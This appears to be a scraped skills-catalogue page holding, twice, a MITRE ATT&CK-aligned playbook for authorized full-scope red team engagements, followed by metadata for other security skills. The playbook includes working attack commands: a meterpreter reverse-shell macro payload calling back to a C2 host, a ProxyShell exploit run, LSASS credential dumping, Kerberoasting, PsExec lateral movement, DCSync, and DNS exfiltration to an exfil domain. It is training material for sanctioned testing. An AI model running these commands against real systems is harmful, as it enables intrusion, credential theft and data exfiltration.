[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AE2PRTFMG76QKJ7YHXZ7YQ":3,"skill-same:01M6AE2PRTFMG76QKJ7YHXZ7YQ":126},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AE2PRTFMG76QKJ7YHXZ7YQ","conducting-full-scope-red-team-engagement",null,"Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"red team","conducting full scope red team engagement","mitre-attack","security","purple-team","offensive-security","reconnaissance","adversary-emulation","ttp-mapping","T1059.001","penetration-testing","threat modeling","testing","post-exploitation","red-team","apt","file","protocol","validation","cybersecurity","2026-11-10 10:12:30",false,"---\nname: conducting-full-scope-red-team-engagement\ndescription: Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- adversary-emulation\n- mitre-attack\n- penetration-testing\n- offensive-security\n- purple-team\n- ttp-mapping\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Identifier Analysis\n- Content Format Conversion\n- Message Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1566.001\n- T1059.001\n- T1078\n- T1071.001\n---\n\n# Conducting Full-Scope Red Team Engagement\n\n## Overview\n\nA full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting full scope red team engagement\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document) signed by executive leadership\n- Defined scope including in-scope\u002Fout-of-scope systems, escalation contacts, and emergency stop procedures\n- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)\n- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment\n- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws\n\n## Engagement Phases\n\n### Phase 1: Planning and Threat Modeling\n\nMap the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:\n\n| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |\n|---|---|---|\n| Reconnaissance | TA0043 | T1593 Search Open Websites\u002FDomains, T1589 Gather Victim Identity Info |\n| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |\n| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |\n| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |\n| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |\n| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |\n| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |\n| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |\n| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |\n| Lateral Movement | TA0008 | T1021.002 SMB\u002FWindows Admin Shares, T1550.002 Pass the Hash |\n| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |\n| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |\n| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |\n\n### Phase 2: Reconnaissance (OSINT)\n\n```bash\n# Passive DNS enumeration\namass enum -passive -d target.com -o amass_passive.txt\n\n# Certificate transparency log search\npython3 -c \"\nimport requests\nurl = 'https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json'\nr = requests.get(url)\nfor cert in r.json():\n    print(cert['name_value'])\n\" | sort -u > subdomains.txt\n\n# LinkedIn employee enumeration\ntheHarvester -d target.com -b linkedin -l 500 -f harvest_results\n\n# Technology fingerprinting\nwhatweb -v target.com --log-json=whatweb.json\n\n# Breach data credential search (authorized)\nh8mail -t target.com -o h8mail_results.csv\n```\n\n### Phase 3: Initial Access\n\nCommon initial access vectors for red team engagements:\n\n**Spearphishing (T1566.001):**\n```bash\n# Generate payload with macro\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba\n\n# Set up GoPhish campaign\n# Configure SMTP profile, email template with pretexted lure, and landing page\ngophish --config config.json\n```\n\n**External Service Exploitation (T1190):**\n```bash\n# Scan for vulnerable services\nnmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan\n\n# Exploit known CVE (example: ProxyShell CVE-2021-34473)\npython3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com\n```\n\n### Phase 4: Post-Exploitation and Lateral Movement\n\n```powershell\n# Situational awareness (T1082, T1016)\nwhoami \u002Fall\nsysteminfo\nipconfig \u002Fall\nnet group \"Domain Admins\" \u002Fdomain\nnltest \u002Fdclist:target.com\n\n# Credential harvesting from LSASS (T1003.001)\n# Using Havoc C2 built-in module\ndotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords\n\n# Kerberoasting (T1558.003)\nRubeus.exe kerberoast \u002Foutfile:kerberoast_hashes.txt\n\n# Lateral movement via WMI (T1047)\nwmiexec.py domain\u002Fuser:password@target-dc -c \"whoami\"\n\n# Lateral movement via PsExec (T1021.002)\npsexec.py domain\u002Fadmin:password@fileserver.target.com\n```\n\n### Phase 5: Objective Achievement\n\nDefine and pursue specific objectives:\n\n1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials\n2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)\n3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)\n4. **Physical Access**: Badge cloning, tailgating, server room access\n\n```bash\n# DCSync attack (T1003.006)\nsecretsdump.py domain\u002Fadmin:password@dc01.target.com -just-dc-ntlm\n\n# Exfiltration over DNS (T1048.003)\ndnscat2 --dns \"domain=exfil.redteam.com\" --secret=s3cr3t\n```\n\n### Phase 6: Reporting and Debrief\n\nThe report should include:\n\n1. **Executive Summary**: Business impact, risk rating, key findings\n2. **Attack Narrative**: Timeline of activities with screenshots and evidence\n3. **MITRE ATT&CK Mapping**: Full heat map of techniques used\n4. **Findings**: Each finding with CVSS score, evidence, remediation\n5. **Detection Gap Analysis**: What the SOC detected vs. what was missed\n6. **Purple Team Recommendations**: Specific detection rules for gaps identified\n\n## Metrics and KPIs\n\n| Metric | Description |\n|---|---|\n| Mean Time to Detect (MTTD) | Average time from action to SOC detection |\n| Mean Time to Respond (MTTR) | Average time from detection to containment |\n| TTP Coverage | Percentage of executed techniques detected |\n| Objective Achievement Rate | Percentage of defined objectives completed |\n| Dwell Time | Total time red team maintained access undetected |\n\n## Tools and Frameworks\n\n- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4\n- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot\n- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus\n- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET\n- **Reporting**: PlexTrac, Ghostwriter, Serpico\n\n## References\n\n- MITRE ATT&CK Framework: https:\u002F\u002Fattack.mitre.org\u002F\n- Red Team Guide: https:\u002F\u002Fredteam.guide\u002F\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- TIBER-EU Framework for Red Teaming: https:\u002F\u002Fwww.ecb.europa.eu\u002Fpaym\u002Fcyber-resilience\u002Ftiber-eu\u002F\n- CBEST Intelligence-Led Testing: https:\u002F\u002Fwww.bankofengland.co.uk\u002Ffinancial-stability\u002Ffinancial-sector-continuity\n","# Conducting Full-Scope Red Team Engagement\n\n## Overview\n\nA full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting full scope red team engagement\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document) signed by executive leadership\n- Defined scope including in-scope\u002Fout-of-scope systems, escalation contacts, and emergency stop procedures\n- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)\n- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment\n- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws\n\n## Engagement Phases\n\n### Phase 1: Planning and Threat Modeling\n\nMap the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:\n\n| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |\n|---|---|---|\n| Reconnaissance | TA0043 | T1593 Search Open Websites\u002FDomains, T1589 Gather Victim Identity Info |\n| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |\n| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |\n| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |\n| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |\n| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |\n| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |\n| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |\n| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |\n| Lateral Movement | TA0008 | T1021.002 SMB\u002FWindows Admin Shares, T1550.002 Pass the Hash |\n| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |\n| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |\n| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |\n\n### Phase 2: Reconnaissance (OSINT)\n\n```bash\n# Passive DNS enumeration\namass enum -passive -d target.com -o amass_passive.txt\n\n# Certificate transparency log search\npython3 -c \"\nimport requests\nurl = 'https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json'\nr = requests.get(url)\nfor cert in r.json():\n    print(cert['name_value'])\n\" | sort -u > subdomains.txt\n\n# LinkedIn employee enumeration\ntheHarvester -d target.com -b linkedin -l 500 -f harvest_results\n\n# Technology fingerprinting\nwhatweb -v target.com --log-json=whatweb.json\n\n# Breach data credential search (authorized)\nh8mail -t target.com -o h8mail_results.csv\n```\n\n### Phase 3: Initial Access\n\nCommon initial access vectors for red team engagements:\n\n**Spearphishing (T1566.001):**\n```bash\n# Generate payload with macro\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba\n\n# Set up GoPhish campaign\n# Configure SMTP profile, email template with pretexted lure, and landing page\ngophish --config config.json\n```\n\n**External Service Exploitation (T1190):**\n```bash\n# Scan for vulnerable services\nnmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan\n\n# Exploit known CVE (example: ProxyShell CVE-2021-34473)\npython3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com\n```\n\n### Phase 4: Post-Exploitation and Lateral Movement\n\n```powershell\n# Situational awareness (T1082, T1016)\nwhoami \u002Fall\nsysteminfo\nipconfig \u002Fall\nnet group \"Domain Admins\" \u002Fdomain\nnltest \u002Fdclist:target.com\n\n# Credential harvesting from LSASS (T1003.001)\n# Using Havoc C2 built-in module\ndotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords\n\n# Kerberoasting (T1558.003)\nRubeus.exe kerberoast \u002Foutfile:kerberoast_hashes.txt\n\n# Lateral movement via WMI (T1047)\nwmiexec.py domain\u002Fuser:password@target-dc -c \"whoami\"\n\n# Lateral movement via PsExec (T1021.002)\npsexec.py domain\u002Fadmin:password@fileserver.target.com\n```\n\n### Phase 5: Objective Achievement\n\nDefine and pursue specific objectives:\n\n1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials\n2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)\n3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)\n4. **Physical Access**: Badge cloning, tailgating, server room access\n\n```bash\n# DCSync attack (T1003.006)\nsecretsdump.py domain\u002Fadmin:password@dc01.target.com -just-dc-ntlm\n\n# Exfiltration over DNS (T1048.003)\ndnscat2 --dns \"domain=exfil.redteam.com\" --secret=s3cr3t\n```\n\n### Phase 6: Reporting and Debrief\n\nThe report should include:\n\n1. **Executive Summary**: Business impact, risk rating, key findings\n2. **Attack Narrative**: Timeline of activities with screenshots and evidence\n3. **MITRE ATT&CK Mapping**: Full heat map of techniques used\n4. **Findings**: Each finding with CVSS score, evidence, remediation\n5. **Detection Gap Analysis**: What the SOC detected vs. what was missed\n6. **Purple Team Recommendations**: Specific detection rules for gaps identified\n\n## Metrics and KPIs\n\n| Metric | Description |\n|---|---|\n| Mean Time to Detect (MTTD) | Average time from action to SOC detection |\n| Mean Time to Respond (MTTR) | Average time from detection to containment |\n| TTP Coverage | Percentage of executed techniques detected |\n| Objective Achievement Rate | Percentage of defined objectives completed |\n| Dwell Time | Total time red team maintained access undetected |\n\n## Tools and Frameworks\n\n- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4\n- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot\n- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus\n- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET\n- **Reporting**: PlexTrac, Ghostwriter, Serpico\n\n## References\n\n- MITRE ATT&CK Framework: https:\u002F\u002Fattack.mitre.org\u002F\n- Red Team Guide: https:\u002F\u002Fredteam.guide\u002F\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- TIBER-EU Framework for Red Teaming: https:\u002F\u002Fwww.ecb.europa.eu\u002Fpaym\u002Fcyber-resilience\u002Ftiber-eu\u002F\n- CBEST Intelligence-Led Testing: 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artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[133],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[137,138,139,140,27,43,141,142,143,144,145,146,147,148,149,150,151,152,153,154],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[161],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},[163,151,164,165,27,166,43,143,167,168,169,170,171,172,173,174,175,176,177,178],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":187,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[185,186],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},[173,188,189,190,36,43,191,42,167,192,193,194,195,196,197,198,199,200,201,202],"backup","recovery","validating backup integrity for recovery","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":204,"name":205,"nameZh":6,"description":206,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":207,"categories":208,"keywords":210,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[209],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},[211,212,213,43,214,215,216,217,218,219,220,221,222,223,224,225,170,226,227,228],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":230,"name":231,"nameZh":6,"description":232,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":233,"categories":234,"keywords":236,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[235],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},[237,238,239,43,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":257,"name":258,"nameZh":6,"description":259,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":260,"categories":261,"keywords":263,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[262],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},[27,264,43,265,40,266,267,268,269,270,271,198,272,199,273,274,275,276,277,278],"triaging security incident","siem","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]